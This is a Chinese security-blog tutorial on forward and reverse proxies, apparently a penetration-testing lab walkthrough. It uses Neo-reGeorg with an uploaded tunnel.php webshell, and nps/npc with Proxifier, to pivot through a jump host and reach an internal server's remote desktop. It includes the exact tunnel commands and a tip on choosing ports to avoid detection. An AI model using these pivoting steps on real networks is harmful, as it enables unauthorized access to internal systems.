正向代理和反向代理 – 作者:ATL安全团队

1.代理

什么是代理?

代理就是一种特殊的网络服务,类似中介,本来a,b想买房子可以直接联系,但是中介的存在,卖家b将买房委托给中介c,买家a只能通过中介c联系卖家b,再由中介转述回买家。

代理的功能:

  • 隐藏真实ip

  • 控制对内部资源的访问

  • 提高访问效率

  • 突破自身ip访问限制

  • 突破内容过滤机制

代理工具

  • proxifier:

    一款强大的socks5客户端,可以让不支持通过代理服务器工作的网络程序通过HTTPS和SOCKS代理。

    使用步骤:1.添加代理的server,配置代理服务器的ip和端口;2.添加代理规则配置需要代理的软件、目标ip、Action(选择第一步配置号的代理Server)

2.正向代理

正向代理,就是用户知道目标服务器地址,但由于网络限制等原因,无法直接访问。这时候需要先连接代理服务器,然后再由代理服务器访问目标服务器。

图片[1]-正向代理和反向代理 – 作者:ATL安全团队-安全小百科

正向代理即是客户端代理, 代理客户端, 服务端不知道实际发起请求的客户端。

2.1Neo-reGeorg+Proxifier正向代理

环境:

  • win10攻击机:ip:192.168.1.4

  • win7跳板机:ip:192.168.1.187(桥接模式)IP:169.254.122.142(仅主机模式)

  • win 2008:ip:169.254.187.52(仅主机模式)

图片[2]-正向代理和反向代理 – 作者:ATL安全团队-安全小百科

环境是只有win7可以访问外网和访问内网得win2008,所以通过win7作为代理服务器,win10请求发送到代理服务上win7,然后代理服务win7访问win2008.这样通过win7去取win2008返回得数据,在返回win10.

那么,目的是通过代理让win10远程连接win2008桌面。

在没有卡开启代理的时候,是无法连接远程连接的。

图片[3]-正向代理和反向代理 – 作者:ATL安全团队-安全小百科

复现过程:

首先,配置Proxifier,添加服务器地址127.0.0.1.端口2222;选择socks 5代理,点击ok

图片[4]-正向代理和反向代理 – 作者:ATL安全团队-安全小百科

再配置一下规则,选择Targent hosts为1192.168.1.*目标主机。动作Action选择上上面的socks 5的代理。

图片[5]-正向代理和反向代理 – 作者:ATL安全团队-安全小百科

将Default的动作设置代理socks5。

图片[6]-正向代理和反向代理 – 作者:ATL安全团队-安全小百科

然后,使用Neo-reGeorg,生成指定密码的代理脚本文件。

python neoreg.py generate -k qq

图片[7]-正向代理和反向代理 – 作者:ATL安全团队-安全小百科

将tunnel.php文件,通过上传到win7的web应用目录下,通过win10可以访问到。

图片[8]-正向代理和反向代理 – 作者:ATL安全团队-安全小百科

访问该文件,页面正常,说明能够访问。

图片[9]-正向代理和反向代理 – 作者:ATL安全团队-安全小百科

然后运行通道的连接:

python neoreg.py -k qq -u http://192.168.1.187/tunnel.php -p 2222

图片[10]-正向代理和反向代理 – 作者:ATL安全团队-安全小百科

最后,代理服务信道等搭建好了,现在我们尝试远程连接win2008桌面,是否可以成功连接到。

图片[11]-正向代理和反向代理 – 作者:ATL安全团队-安全小百科

图片[12]-正向代理和反向代理 – 作者:ATL安全团队-安全小百科

2.2正向代理的用途

  • 1.做缓存,加速访问

  • 对客户端访问授权,进行认证

  • 访问原来无法访问的资源

  • 代理可以记录用户访问记录,做上网行为管理,对外隐藏用户的信息

3.反向代理

反向代理对用户则是不可知的,比如我们访问百度网站,百度的代理服务器对外的域名为 https://www.baidu.com。具体内部的服务器节点我们不知道,现实中我们通过访问百度的代理服务器后,代理服务器给我们转发请求到他们N多的服务器节点中的一个给我们进行搜索后将结果返回。

图片[13]-正向代理和反向代理 – 作者:ATL安全团队-安全小百科

反向代理即是服务端代理, 代理服务端, 客户端不知道实际提供服务的服务端

3.1nps+Proxifier反向代理

环境:跟上面正向代理的环境一样,目的也是远程连接win2008桌面。

工具下载链接:https://github.com/ehang-io/nps/releases

windows环境中,下载一下客户端和服务端:

图片[14]-正向代理和反向代理 – 作者:ATL安全团队-安全小百科

nps服务端配置:

步骤1:将解压后的服务端,代开config文件

图片[15]-正向代理和反向代理 – 作者:ATL安全团队-安全小百科

配置管理页面的登录账号、密码和端口。修改端口号可以为5为复杂些,这样就不会被检测到危险端口。(这里不在配置,默认)

图片[16]-正向代理和反向代理 – 作者:ATL安全团队-安全小百科

然后,安装并启动nps(第一次使用要安装):

图片[17]-正向代理和反向代理 – 作者:ATL安全团队-安全小百科

图片[18]-正向代理和反向代理 – 作者:ATL安全团队-安全小百科

然后,查看nsp.log文件,看到日志开始有记录了。

图片[19]-正向代理和反向代理 – 作者:ATL安全团队-安全小百科

然后访问本地访问8080端口,使用账号和密码登录。

图片[20]-正向代理和反向代理 – 作者:ATL安全团队-安全小百科

步骤2:配置客户端信息:新增客户端,填写唯一验证密钥12345

图片[21]-正向代理和反向代理 – 作者:ATL安全团队-安全小百科

然后设置socks代理:点击新增填写刚新建客户端id6,然后填写后面要代理用的端口5555。

图片[22]-正向代理和反向代理 – 作者:ATL安全团队-安全小百科

nps客户端配置:

步骤1:在客户端的配置的文件中,vkey的值与服务端唯一验证密钥是一致的!!!

图片[23]-正向代理和反向代理 – 作者:ATL安全团队-安全小百科

在真实的渗透环境中,客户端通过上传到受害机,也就是这里用到的win7跳板机。(这里是自己搭建环境,直接将客户端到win7上)

然后使用命令npc.exe -server=192.168.1.4:8024 -vkey=12345,启动客户端:

图片[24]-正向代理和反向代理 – 作者:ATL安全团队-安全小百科

回到服务端,刷新浏览器,客户端连接状态显示在线,说明nps搭建好了。

步骤三:配置Poxifier,增加地址和端口号,并且与nps服务端socks

的代理端口一致。

图片[25]-正向代理和反向代理 – 作者:ATL安全团队-安全小百科

增加规则:

图片[26]-正向代理和反向代理 – 作者:ATL安全团队-安全小百科

最后,远程连接win2008桌面:

图片[27]-正向代理和反向代理 – 作者:ATL安全团队-安全小百科

可以看到流入和流出流量在变动。这样就通反向代理将流量带了出来。

3.2反向代理的用途:

  • 1.负载均衡,通过反向代理服务器来优化网站的负载

  • 保证内网的安全,可以使用反向代理提供WAF功能,组织web攻击

环境搭建中需要注意的:

1.保证win10和win7能够互相访问的,win7和win2008能够互ping通。

2.Proxifier在配置中,规则要选择与socks的端口一致。

3.nps和Neo-reGeorg的运行的命令和配置都要相对应。

4.总结:

正向和反向代理的区别在于代理的对象不同:正向代理的对象是客户端,而反向代理是服务端。

图片[28]-正向代理和反向代理 – 作者:ATL安全团队-安全小百科

来源:freebuf.com 2021-03-03 14:25:58 by: ATL安全团队

© 版权声明
THE END
喜欢就支持一下吧
点赞0
分享
评论 抢沙发

请登录后发表评论